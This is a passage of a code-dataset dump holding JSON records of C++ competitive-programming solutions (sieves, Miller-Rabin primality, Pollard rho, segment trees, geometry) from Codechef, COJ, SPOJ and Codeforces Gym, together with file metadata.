1.0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tinvert();\r\n\t\tdouble ans = 0;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tans += pi[1][i];\r\n\t\t}\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34838709235191345, "alphanum_fraction": 0.3706744909286499, "avg_line_length": 16.040000915527344, "blob_id": "b52f04848f154fc74ac2a1ab4bae5a00bbc76f5f", "content_id": "398391d3fb2c216057939acc1e1fcd38549c6c04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1705, "license_type": "no_license", "max_line_length": 50, "num_lines": 100, "path": "/Codechef/CHEFTET.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 10005;\n\nint t;\nint n;\nlong long a[N], b[N];\nbool used[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tlong long sum = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> b[i];\n\t\t\tsum += b[i];\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t\tsum += a[i];\n\t\t}\n\t\tif (sum % n != 0) {\n\t\t\tcout << \"-1\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tused[i] = false;\n\t\t}\n\t\tlong long x = sum / n;\n\t\t//cerr << \"DEBUG \" << x << \"\\n\";\n\t\tbool ok = true;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (a[i] > x) {\n\t\t\t\tok = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!ok) {\n\t\t\tcout << \"-1\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (i > 0 && !used[i - 1]) {\n\t\t\t\ta[i] += b[i - 1];\n\t\t\t\tused[i - 1] = true;\n\t\t\t}\n\t\t\tlong long need = x - a[i];\n\t\t\t//cerr << \"DEBUG \" << i << \" \" << need << \"\\n\";\n\t\t\tif (i == n - 1) {\n\t\t\t\tif (!used[n - 1]) {\n\t\t\t\t\tif (b[n - 1] != need) {\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (need != 0) {\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif (need == 0) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tvector <int> v;\n\t\t\t\tif (!used[i]) {\n\t\t\t\t\tv.push_back(i);\n\t\t\t\t}\n\t\t\t\tif (i + 1 < n) {\n\t\t\t\t\tv.push_back(i + 1);\n\t\t\t\t}\n\t\t\t\tif (v.size() == 1) {\n\t\t\t\t\tif (b[v[0]] == need) {\n\t\t\t\t\t\tused[v[0]] = true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (b[v[0]] == need) {\n\t\t\t\t\t\tused[v[0]] = need;\n\t\t\t\t\t} else if (b[v[1]] == need) {\n\t\t\t\t\t\tused[v[1]] = true;\n\t\t\t\t\t} else if (b[v[0]] + b[v[1]] == need) {\n\t\t\t\t\t\tused[v[0]] = used[v[1]] = true;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tok = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcout << (ok ? x : -1) << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3564668893814087, "alphanum_fraction": 0.38485804200172424, "avg_line_length": 14.256410598754883, "blob_id": "41543b5ce97f4b16b7b97e1b5d93e505516f2d5f", "content_id": "8f7c93671d609f786f140d6e1c83e8dcfdd08b92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 634, "license_type": "no_license", "max_line_length": 38, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p3534-Accepted-s913226.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nint cnt[N + 5];\r\nint p[N + 5];\r\n\r\nint sum[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tp[i] = 1;\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tif (!cnt[i]) {\r\n\t\t\tfor (int j = i; j <= N; j += i) {\r\n\t\t\t\tcnt[j]++;\r\n\t\t\t\tp[j] *= i;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tsum[i] = sum[i - 1];\r\n\t\tif (cnt[i] == 3 && p[i] == i) {\r\n\t\t\tsum[i]++;\r\n\t\t}\r\n\t}\r\n\tint t, a, b;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> a >> b;\r\n\t\tcout << sum[b] - sum[a - 1] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3540802299976349, "alphanum_fraction": 0.37344399094581604, "avg_line_length": 16.075000762939453, "blob_id": "64873659829506fb2578dd13b522886987b2b1cd", "content_id": "3259f23ed4531aadea7ab91b2580ec2932e57874", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 723, "license_type": "no_license", "max_line_length": 43, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p3662-Accepted-s959261.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100000;\r\n\r\nint sum[N + 5];\r\nvector <int> dv[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i + i; j <= N; j += i) {\r\n\t\t\tsum[j] += i;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i + i; j <= N; j += i) {\r\n\t\t\tif (sum[j] == j) {\r\n\t\t\t\tdv[j].push_back(i);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint n;\r\n\twhile (cin >> n && n != -1) {\r\n\t\tif (sum[n] != n) {\r\n\t\t\tcout << n << \" is NOT perfect.\\n\";\r\n\t\t} else {\r\n\t\t cout << n << \" = \";\r\n\t\t\tfor (int i = 0; i < dv[n].size(); i++) {\r\n\t\t\t\tcout << dv[n][i];\r\n\t\t\t\tif (i + 1 < dv[n].size()) {\r\n\t\t\t\t\tcout << \" + \";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42510122060775757, "alphanum_fraction": 0.44534412026405334, "avg_line_length": 15.642857551574707, "blob_id": "395aa7adee6f1ad7beccde5c1eceb643a4f9ecd7", "content_id": "13fcb7f6efbe66cd313f1a8d302c3b8eae4f0f1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 247, "license_type": "no_license", "max_line_length": 52, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2458-Accepted-s446922.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cmath>\r\n\r\nusing namespace std;\r\n\r\nint main(){\r\n unsigned long long n;\r\n cin >> n;\r\n while( n ){\r\n cout << ceil((-1+sqrt(1+8*n))/2) << endl;\r\n cin >> n;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.41274237632751465, "alphanum_fraction": 0.4321329593658447, "avg_line_length": 20.5625, "blob_id": "04f1884730e873575aaf3f1a7cffb5c266a9e9af", "content_id": "3373429258238f05eebfb3d020bc94d43cbd2ffd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 361, "license_type": "no_license", "max_line_length": 56, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2936-Accepted-s670911.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL n, m, a, b;\r\n\r\nint main() {//freopen(\"dat.in\",\"r\",stdin);\r\n\twhile (cin >> n >> m) {\r\n\t\ta = (n * m * (n - 1ll) * (m - 1ll)) / 4ll;\r\n\t\tb = (m * n * (n - 1)) / 2ll + (n * m * (m - 1)) / 2ll;\r\n\t\tcout << \"Triangles: \" << b << \"\\n\";\r\n\t\tcout << \"Quadrilaterals: \" << a << \"\\n\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35119888186454773, "alphanum_fraction": 0.37207335233688354, "avg_line_length": 14.721697807312012, "blob_id": "e2ea04b06082092175f43d1e64c5d75a55759516", "content_id": "ae46f7e818197d27a3e6d584d54dcedcf2d5ee6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3545, "license_type": "no_license", "max_line_length": 71, "num_lines": 212, "path": "/COJ/eliogovea-cojAC/eliogovea-p3817-Accepted-s1120082.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\ntypedef unsigned long long ULL;\r\n\r\nconst int N = 1 << 21;\r\n\r\nint sieve[N];\r\nint primes[N], szp;\r\n\r\ninline LL mul(LL a, LL b, LL mod) {\r\n // assert(0 <= a && a < mod);\r\n // assert(0 <= b && b < mod);\r\n if (mod < int(1e9)) {\r\n\t\treturn a * b % mod;\r\n\t}\r\n LL k = (LL)((long double)a * b / mod);\r\n LL res = a * b - k * mod;\r\n res %= mod;\r\n if (res < 0) {\r\n\t\tres += mod;\r\n\t}\r\n return res;\r\n}\r\n\r\n// inline LL mul(LL a, LL b, LL mod) {\r\n\t// LL res = 0;\r\n\t// a %= mod;\r\n\t// while (b) {\r\n\t\t// if (b & 1) {\r\n\t\t\t// res = res + a;\r\n\t\t\t// if (res >= mod) {\r\n\t\t\t\t// res -= mod;\r\n\t\t\t// }\r\n\t\t// }\r\n\t\t// a = a + a;\r\n\t\t// if (a >= mod) {\r\n\t\t\t// a -= mod;\r\n\t\t// }\r\n\t// }\r\n\t// return res;\r\n// }\r\n\r\ninline LL power(LL x, LL n, LL mod) {\r\n\tLL res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x, mod);\r\n\t\t}\r\n\t\tx = mul(x, x, mod);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int test[] = {2, 3, 5, 7, 11, 13, 17, 19, 23, 27, -1};\r\n\r\ninline bool isPrime(LL n) {\r\n\tif (n < N) {\r\n\t\treturn !sieve[n];\r\n\t}\r\n\tfor (int i = 0; test[i] > 0; i++) {\r\n\t\tif (n % test[i] == 0) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\tLL d = n - 1;\r\n\tint a = 0;\r\n\twhile (!(d & 1)) {\r\n\t\td >>= 1;\r\n\t\ta++;\r\n\t}\r\n\tfor (int i = 0; test[i] > 0; i++) {\r\n\t\tLL cur = power(test[i], d, n);\r\n\t\tif (cur == 1) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tbool ok = false;\r\n\t\tfor (int j = 0; j < a; j++) {\r\n\t\t\tif (cur == n - 1) {\r\n\t\t\t\tok = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tcur = mul(cur, cur, n);\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\ninline LL isSquare(ULL x) {\r\n\tULL lo = 1;\r\n\tULL hi = (1LL << 32) - 1LL;\r\n\twhile (lo <= hi) {\r\n\t\tULL mid = (lo + hi) >> 1ULL;\r\n\t\tif (mid * mid == x) {\r\n\t\t\treturn (LL)mid;\r\n\t\t}\r\n\t\tif (mid * mid > x) {\r\n\t\t\thi = mid - 1ULL;\r\n\t\t} else {\r\n\t\t\tlo = mid + 1ULL;\r\n\t\t}\r\n\t}\r\n\treturn -1;\r\n}\r\n\r\ninline LL gcd(LL a, LL b) {\r\n\tLL tmp;\r\n\twhile (b) {\r\n\t\ttmp = a % b;\r\n\t\ta = b;\r\n\t\tb = tmp;\r\n\t}\r\n\treturn a;\r\n}\r\n\r\ninline LL factor(LL n) {\r\n\tstatic LL a, b;\r\n\ta = 1 + rand() % (n - 1);\r\n\tb = 1 + rand() % (n - 1);\r\n\t#define f(x)\t(mul(x, x + b, n) + a)\r\n\tLL x = 2, y = 2, d = 1;\r\n\twhile (d == 1 || d == -1) {\r\n // cerr << x << \" \" << y << \"\\n\";\r\n\t\tx = f(x);\r\n\t\ty = f(f(y));\r\n\t\td = gcd(x - y, n);\r\n\t}\r\n\treturn abs(d);\r\n}\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t// freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tsieve[0] = sieve[1] = -1;\r\n\tfor (int i = 2; i * i < N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j < N; j += i) {\r\n\t\t\t\tif (!sieve[j]) {\r\n\t\t\t\t\tsieve[j] = i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tszp = 0;\r\n\tfor (int i = 2; i < N; i++) {\r\n\t\tif (!sieve[i] || sieve[i] == i) {\r\n\t\t\tsieve[i] = i;\r\n\t\t\tprimes[szp++] = i;\r\n\t\t}\r\n\t}\r\n\r\n\tint t;\r\n\tLL n;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\r\n\t\tif (n < N) {\r\n\t\t\twhile (n != 1) {\r\n\t\t\t\tcout << sieve[n];\r\n\t\t\t\tn /= sieve[n];\r\n\t\t\t\tif (n != 1) {\r\n\t\t\t\t\tcout << \" \";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t} else {\r\n\t\t for (int i = 0; i < szp && (LL)primes[i] * primes[i] <= n; i++) {\r\n\t\t\t\twhile (n % primes[i] == 0) {\r\n\t\t\t\t\tcout << primes[i];\r\n\t\t\t\t\tn /= primes[i];\r\n\t\t\t\t\tif (n != 1) {\r\n\t\t\t\t\t\tcout << \" \";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (n != 1) {\r\n\t\t\t\tif (n < N) { // assert(false);\r\n\t\t\t\t\tcout << n;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (isPrime(n)) {\r\n\t\t\t\t\t\tcout << n;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tLL v = isSquare(n);\r\n\t\t\t\t\t\tif (v != -1) {\r\n\t\t\t\t\t\t\tcout << v << \" \" << v;\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tLL x = factor(n);\r\n\t\t\t\t\t\t\tLL y = n / x;\r\n\t\t\t\t\t\t\tif (x > y) {\r\n\t\t\t\t\t\t\t\tswap(x, y);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tcout << x << \" \" << y;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4587194621562958, "alphanum_fraction": 0.5084245800971985, "avg_line_length": 22.04854393005371, "blob_id": "4396ca8febbb9743db848477489c4b4e0805b891", "content_id": "8f33822b2feb92ccc44591b4d4a1b7658c35646b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2374, "license_type": "no_license", "max_line_length": 79, "num_lines": 103, "path": "/SPOJ/PON.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nnamespace NumberTheory {\n\tusing LL = long long;\n \n\tinline LL mul(LL a, LL b, LL m) {\n\t\t// return (__int128)a * b % m;\n\t\t// a %= m; b %= m;\n\t\tif (m <= 2e9) return a * b % m;\n\t\tLL q = (long double)a * b / m;\n\t\tLL r = a * b - q * m; r %= m;\n\t\tif (r < 0) r += m;\n\t\treturn r;\n\t} // to avoid overflow, m < 1e18\n \n\tinline LL power(LL x, LL n, LL m) {\n\t\tLL y = 1 % n; if (y == 0) return 0;\n\t\tx %= m; \n\t\twhile (n > 0) {\n\t\t\tif (n & 1) y = mul(y, x, m);\n\t\t\tx = mul(x, x, m);\n\t\t\tn >>= 1;\n\t\t}\n\t\treturn y;\n\t}\n \n\tbool ready = false;\n\tconst int P = 1000 * 1000; \n\tbool _isPrime[P]; vector <int> primes;\n \n\tinline bool fastSieve() { // O(n)\n\t\tfor (int i = 0; i < P; i++) \n\t\t\t_isPrime[i] = true;\n\t\t_isPrime[0] = _isPrime[1] = false;\n\t\tprimes.reserve(P); //\n\t\tfor (int i = 2; i < P; i++) {\n\t\t\tif (_isPrime[i]) primes.push_back(i);\n\t\t\tfor (int j = 0; j < primes.size() && primes[j] * i < P; j++) {\n\t\t\t\t_isPrime[primes[j] * i] = false;\n\t\t\t\tif (i % primes[j] == 0) break;\n\t\t\t}\n\t\t}\n\t}\n \n\t// Miller Rabin primality test !!!\n\tinline bool witness(LL x, LL n, LL s, LL d) {\n\t\tLL cur = power(x, d, n);\n\t\tif (cur == 1) return false;\n\t\tfor (int r = 0; r < s; r++) {\n\t\t\tif (cur == n - 1) return false;\n\t\t\tcur = mul(cur, cur, n);\n\t\t}\n\t\treturn true;\n\t}\n \n\tbool isPrime(long long n) { \n\t\tif (!ready) fastSieve(), ready = true;\n\t\tif (n < P) return _isPrime[n];\n\t\tif (n < 2) return false;\n\t\tfor (int x : {2, 3, 5, 7, 11, 13, 17, 19, 23, 29}) {\n\t\t\tif (n == x) return true;\n\t\t\tif (n % x == 0) return false;\n\t\t}\n\t\tif (n < 31 * 31) return true;\n\t\tint s = 0; LL d = n - 1;\n\t\twhile (!(d & 1)) s++, d >>= 1;\n\t\t// for n int: test = {2, 7, 61}\n\t\t// for n < 3e18: test = {2, 3, 5, 7, 11, 13, 17, 19, 23}\n\t\tstatic vector <LL> test = {2, 325, 9375, 28178, 450775, 9780504, 1795265022};\n\t\tfor (long long x : test) {\n\t\t\tif (x % n == 0) return true;\n\t\t\tif (witness(x, n, s, d)) return false;\n\t\t}\n//\t\tfor (auto p : primes) { // slow for testing\n//\t\t\tif ((long long)p * p > n) break;\n//\t\t\tif (n % p == 0) return false;\n//\t\t}\n\t\treturn true;\n\t} // ends Miller Rabin primality test !!!\n}\n \nusing namespace NumberTheory;\n \nvoid testIsPrime() {\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tlong long n;\n\t\tcin >> n;\n\t\tcout << (isPrime(n) ? \"YES\" : \"NO\") << \"\\n\";\n\t}\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n \n\t// testMillerRabin();\n\t// testPollardRho();\n\ttestIsPrime();\n}\n" }, { "alpha_fraction": 0.30388692021369934, "alphanum_fraction": 0.33686691522598267, "avg_line_length": 15.326923370361328, "blob_id": "44881496cd0a030de49e61a8984165e1e78ba8ad", "content_id": "a384dae947f8b1b93ca9e7796cb7c6b5b08ed469", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 849, "license_type": "no_license", "max_line_length": 50, "num_lines": 52, "path": "/Codeforces-Gym/100803 - 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest\n// 100803B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long ll;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n string s; cin >> s;\n ll r; cin >> r;\n\n int n = s.size();\n\n ll m = 0;\n ll x = s[0] - '0';\n\n ll l = s[0] - '0';\n\n for( int i = 2; i < n; i += 2 ){\n if( s[i-1] == '*' ){\n x *= (ll)( s[i] - '0' );\n l *= (ll)( s[i] - '0' );\n }\n else{\n m += x;\n x = (ll)s[i] - '0';\n\n l += (ll)( s[i] - '0' );\n }\n }\n m += x;\n\n if( l == r && m == r ){\n cout << \"U\\n\";\n }\n else if( l != r && m != r ){\n cout << \"I\\n\";\n }\n else if( l == r ){\n cout << \"L\\n\";\n }\n else{\n cout << \"M\\n\";\n }\n}\n" }, { "alpha_fraction": 0.2694894075393677, "alphanum_fraction": 0.2886675000190735, "avg_line_length": 23.09375, "blob_id": "1ee16a9ea07267b1d86da6a251f2e6ec73d9acd5", "content_id": "e34c63403017aae3be55a1aa8e63d3ca0eb63bb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4015, "license_type": "no_license", "max_line_length": 58, "num_lines": 160, "path": "/COJ/eliogovea-cojAC/eliogovea-p3391-Accepted-s926475.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, r;\r\nint s[N];\r\n\r\nint to[N];\r\n\r\nint st[4 * N];\r\n\r\nvoid build(int x, int l, int r) {\r\n if (l == r) {\r\n st[x] = to[l];\r\n } else {\r\n int mid = (l + r) >> 1;\r\n build(2 * x, l, mid);\r\n build(2 * x + 1, mid + 1, r);\r\n st[x] = max(st[2 * x], st[2 * x + 1]);\r\n }\r\n}\r\n\r\nvoid update(int x, int l, int r, int p, int v) {\r\n if (p < l || p > r) {\r\n return;\r\n }\r\n if (l == r) {\r\n st[x] = v;\r\n } else {\r\n int mid = (l + r) >> 1;\r\n update(2 * x, l, mid, p, v);\r\n update(2 * x + 1, mid + 1, r, p, v);\r\n st[x] = max(st[2 * x], st[2 * x + 1]);\r\n }\r\n}\r\n\r\nint query(int x, int l, int r, int ql, int qr) {\r\n if (l > qr || r < ql) {\r\n return 0;\r\n }\r\n if (l >= ql && r <= qr) {\r\n return st[x];\r\n }\r\n int mid = (l + r) >> 1;\r\n int q1 = query(2 * x, l, mid, ql, qr);\r\n int q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n return max(q1, q2);\r\n}\r\n\r\nmap <int, set <int> > M;\r\nmap <int, set <int> >::iterator it;\r\nset <int> ::iterator itt;\r\n\r\nint last[1000005];\r\n\r\nint main()\r\n{\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> n >> r;\r\n for (int i = 1; i <= n; i++) {\r\n cin >> s[i];\r\n to[i] = last[s[i]];\r\n last[s[i]] = i;\r\n M[s[i]].insert(i);\r\n }\r\n to[0] = -1;\r\n\r\n build(1, 0, n);\r\n\r\n while (r--) {\r\n char c;\r\n cin >> c;\r\n if (c == 'C') {\r\n int x, y;\r\n cin >> x >> y;\r\n\r\n if (s[x] == y) {\r\n continue;\r\n }\r\n\r\n\r\n set <int> &S = M.find(s[x])->second;\r\n\r\n itt = S.find(x);\r\n\r\n if (S.size() == 1) {\r\n S.clear();\r\n } else {\r\n if (itt == S.begin()) {\r\n set <int> ::iterator a = itt; a++;\r\n update(1, 0, n, *a, 0);\r\n S.erase(itt);\r\n } else {\r\n set <int>::iterator a = itt; a++;\r\n if (a == S.end()) {\r\n S.erase(itt);\r\n } else {\r\n set <int>::iterator b = itt; b--;\r\n update(1, 0, n, *a, *b);\r\n S.erase(itt);\r\n }\r\n }\r\n }\r\n\r\n if (S.size() == 0) {\r\n M.erase(M.find(s[x]));\r\n }\r\n\r\n //insert\r\n s[x] = y;\r\n if (M.find(s[x]) == M.end()) {\r\n M[s[x]];\r\n }\r\n set <int> &SS = M.find(s[x])->second;\r\n SS.insert(x);\r\n itt = SS.find(x);\r\n if (SS.size() == 1) {\r\n update(1, 0, n, x, 0);\r\n } else {\r\n if (itt == SS.begin()) {\r\n set <int> ::iterator a = itt; a++;\r\n update(1, 0, n, x, 0);\r\n update(1, 0, n, *a, x);\r\n } else {\r\n set <int> ::iterator a = itt; a++;\r\n if (a == SS.end()) {\r\n set <int> ::iterator b = itt; b--;\r\n update(1, 0, n, x, *b);\r\n } else {\r\n set <int>::iterator b = itt; b--;\r\n update(1, 0, n, x, *b);\r\n update(1, 0, n, *a, x);\r\n }\r\n }\r\n }\r\n } else {\r\n int x;\r\n cin >> x;\r\n int lo = 0;\r\n int hi = x - 1;\r\n int ans = x - 1;\r\n while (lo <= hi) {\r\n int mid = (lo + hi) >> 1;\r\n if (query(1, 0, n, mid + 1, x) <= mid) {\r\n ans = mid;\r\n hi = mid - 1;\r\n } else {\r\n lo = mid + 1;\r\n }\r\n }\r\n cout << x - ans << \"\\n\";\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3170170783996582, "alphanum_fraction": 0.3469119668006897, "avg_line_length": 27.185184478759766, "blob_id": "4e16cbf480d3e37f85ee2812749465588d9fc730", "content_id": "266d08d0c80ab53666536a7dc2d139780dc58291", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3044, "license_type": "no_license", "max_line_length": 134, "num_lines": 108, "path": "/Codeforces-Gym/101095 - 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E03: Codeforces Trainings Season 3 Episode 3 - 2007-2008 ACM-ICPC, Central European Regional Contest 2007 (CERC 07)\n// 101095C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst double EPS = 1e-12;\n\nstruct event {\n double angle;\n int type;\n};\n\nbool operator < (const event &a, const event &b) {\n if (abs(a.angle - b.angle) > EPS) {\n return a.angle < b.angle;\n }\n return a.type < b.type;\n}\n\ndouble getAngle(LL x, LL y) {\n if (x == 0) {\n if (y > 0) {\n return M_PI / 2.0;\n }\n return 3.0 * M_PI / 2.0;\n }\n if (y == 0) {\n if (x > 0) {\n return 0.0;\n }\n return M_PI;\n }\n double res = atan((double)abs(y) / (double)abs(x));\n if (x < 0 && y > 0) {\n res = M_PI - res;\n } else if (x < 0 && y < 0) {\n res = M_PI + res;\n } else if (x > 0 && y < 0) {\n res = 2.0 * M_PI - res;\n }\n return res;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n;\n LL r;\n while ((cin >> n >> r) && n) {\n vector <pair <LL, LL> > pts(n);\n for (int i = 0; i < n; i++) {\n cin >> pts[i].first >> pts[i].second;\n }\n int ans = 1;\n for (int i = 0; i < n; i++) {\n vector <event> E;\n int cnt = 0;\n for (int j = 0; j < n; j++) {\n if (i != j) {\n LL dx = pts[j].first - pts[i].first;\n LL dy = pts[j].second - pts[i].second;\n if (dx * dx + dy * dy == 4LL * r * r) {\n double a = getAngle(dx, dy);\n E.push_back((event) {a, -1});\n E.push_back((event) {a, 1});\n } else if (dx * dx + dy * dy < 4LL * r * r) {\n double dist = sqrt(dx * dx + dy * dy) / 2.0;\n double a = acos(dist / (double)r);\n double b = getAngle(dx, dy);\n double a1 = b - a;\n double a2 = b + a;\n if (a1 < -EPS) {\n a1 += 2.0 * M_PI;\n }\n if (a2 >= 2.0 * M_PI - EPS) {\n a2 -= 2.0 * M_PI;\n }\n if (a1 > a2 + EPS) {\n cnt++;\n }\n E.push_back((event) {a1, -1});\n E.push_back((event) {a2, 1});\n }\n }\n }\n sort(E.begin(), E.end());\n int best = cnt;\n for (int i = 0; i < E.size(); i++) {\n if (E[i].type == -1) {\n cnt++;\n } else {\n cnt--;\n }\n best = max(best, cnt);\n }\n ans = max(ans, best + 1);\n }\n cout << \"It is possible to cover \" << ans << \" points.\\n\";\n }\n\n}\n" }, { "alpha_fraction": 0.33083730936050415, "alphanum_fraction": 0.3675970137119293, "avg_line_length": 16.362499237060547, "blob_id": "ac68b5dc8105da4cbcb0bb1b240103db60ce99fd", "content_id": "3dea449c432c5178735393430b5b992341c85077", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1469, "license_type": "no_license", "max_line_length": 60, "num_lines": 80, "path": "/COJ/eliogovea-cojAC/eliogovea-p3677-Accepted-s959257.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 205;\r\n\r\nint t;\r\nint n;\r\ndouble p[N][N];\r\ndouble 